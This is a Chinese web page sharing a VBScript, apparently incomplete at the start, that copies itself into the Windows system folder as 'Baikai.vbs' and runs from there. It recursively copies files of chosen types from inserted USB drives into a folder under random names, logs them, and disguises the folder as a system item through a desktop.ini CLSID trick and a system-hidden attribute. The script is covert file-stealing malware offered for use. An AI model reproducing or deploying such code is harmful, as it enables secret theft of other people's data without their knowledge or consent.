自动复制U盘文件的VBS脚本

2019-01-16 02:37:16王旭

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"Baikai.vbs"
Msgbox "安装成功"
end if


Set fso=nothing
Set wshell=nothing



'遍历目录函数
Function TreeIt(sPath)
Set oFolder = fso.GetFolder(sPath)
Set oSubFolders = oFolder.Subfolders

Set oFiles = oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder = Nothing
Set oSubFolders = Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&""&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

'By:白开 QQ:343229025

您可能感兴趣的文章:

vbs实现只复制比目标文件更新的文件vbs 自动复制U盘的内容Windows 安装IIS出现的问题(无法安装IIS,提示“安装程序无法复制文件IISApp.vbs”)IE浏览器增加“复制图像地址”的右键菜单的vbs代码vbs复制文件的脚本vbs病毒制作之一复制自身的vbs脚本最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS代码简单解析和解决方法用vbscript实现将脚本的输出复制到剪贴板vbs复制文件夹的实现代码